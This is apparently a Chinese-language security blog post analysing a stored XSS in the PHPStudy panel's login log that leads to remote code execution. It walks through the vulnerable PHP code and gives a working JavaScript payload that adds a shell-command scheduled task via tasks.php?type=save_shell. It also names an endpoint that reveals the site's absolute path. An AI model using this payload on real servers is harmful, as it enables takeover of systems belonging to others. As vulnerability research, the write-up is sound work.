PHPStudy RCE 分析
4 min read
本质上是一个存储型
XSS
漏洞。通过XSS
漏洞可以构造恶意js
代码,在代码触发时自动发送添加计划任务
的请求,从而实现 RCE
XSS
我们直接在用户名的地方填写我们的 xss
地址,点击登录即可
然后我们通过正确的账号密码登录进去,发现恶意代码被正常解析了,PHPStudy
在展现 操作日志
时未进行任何过滤,所以我们可以执行任意 Javascript
代码
漏洞代码
account.phg
主要用来获取用户登录状态,登录时调用 login
方法
// com\web\service\app\account.php
// 登录
if($type=='login'){
$username = post('username');
$pwd = post('password');
$verifycode = post('verifycode');
$res = Account::login($username,$pwd,$verifycode);
xpexit(json_encode($res));
}
其中 post()
函数经过了 htmlspecialchars
处理
function post($field='',$default=''){
if(!$field){
return $_POST;
}
if(!isset($_POST[$field])){
return $default?$default:false;
}
if(is_string($_POST[$field])){
return htmlspecialchars($_POST[$field]);
}
return $_POST[$field];
}
login()
方法中通过 Socket::request
处理了参数,Socket::request
调用了 8090
端口
// com\web\service\app\model\Account.php
// 登录
public static function login($username,$pwd,$verifycode){
if($username==''){
return array('code'=>1,'msg'=>'用户名不能为空');
}
if($pwd == ''){
return array('code'=>1,'msg'=>'密码不能为空');
}
if(!sessionStarted()){
sessionStart();
}
if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
return array('code'=>1,'msg'=>'验证码不正确');
}
$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
$res = Socket::request($request);
if(!$res){
return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
}
$res = json_decode($res,true);
if($res['result'] == -1){
return array('code'=>300,'msg'=>$res['msg']);
}
if($res['result'] == 0){
return array('code'=>1,'msg'=>$res['msg']);
}
//token校验
$_SESSION['this_token'] = $res['token'];
// $access_token = md5(time()).md5(rand(1,100));
$access_token = $res['token'];
$_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
$res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
return $res;
}
// com\web\service\app\lib\socket.php
public static function request($data){
error_reporting(E_ALL);
set_time_limit(0);
$host = "127.0.0.1";
$port = 8090;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
//接收套接流的最大超时时间2秒,后面是微秒单位超时时间,设置为零,表示不管它
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 2000, "usec" => 0));
//发送套接流的最大超时时间为6秒
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array("sec" => 6, "usec" => 0));
$connection = @socket_connect($socket, $host, $port);
if(!$connection){
file_put_contents('socket.log', 'cannot connection '.$host.':'.$port.' at '.date('Y-m-d H:i:s')."\r\n",8);
return false;
}
$_data = json_decode($data,true);
isset($_SESSION['this_token']) && $_data['token'] = $_SESSION['this_token'];
$data = json_encode($_data);
$data .= '^^^';
socket_write($socket, $data,strlen($data));
$res = '';
while ($buff = socket_read($socket,1024)) {
$encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
if($encoding=='EUC-CN'){
$buff = iconv('GBK', 'UTF-8', $buff);
}
$res .= $buff;
if(substr($res,-3)=='^^^'){
socket_close($socket);
break;
}
}
$res = rtrim($res,'^^^');
if($res == 'ipdeny'){
xpexit(json_encode(array('code'=>403,'msg'=>'该IP被禁止访问')));
}
//检验token
if($_data['command'] != 'login'){
$res_ = json_decode($res,true);
if(isset($res_['result'])&&$res_['result']==-2){
distorySession();
xpexit(json_encode(array('code'=>1001,'msg'=>'您已经在其他地方登录过了,即将退出当前页面')));
}
}
return $res;
}
Socket
类中我们看到 socket_write()
写入,然后通过 socket_read()
读取结果
socket_write($socket, $data,strlen($data));
$res = '';
while ($buff = socket_read($socket,1024)) {
$encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
if($encoding=='EUC-CN'){
$buff = iconv('GBK', 'UTF-8', $buff);
}
$res .= $buff;
if(substr($res,-3)=='^^^'){
socket_close($socket);
break;
}
}
RCE
我们可以通过构造恶意 js
代码来发送新增 计划任务
的请求,从而来实现 RCE
这里我们直接在网站根目录下创建一个 1.txt
文件,同时写入 test
内容,代码如下
var xhr = new XMLHttpRequest();
xhr.open("POST", "/service/app/tasks.php?type=save_shell", true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.send("title=test&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=echo test > D:\\xp.cn\\www\wwwroot\\admin\\localhost_80\\1.txt");
关于网站的绝对路径,可以通过以下接口获取,请求头必须添加 X-Requested-With
,否则接口会返回 404
/service/app/sites.php?type=site_list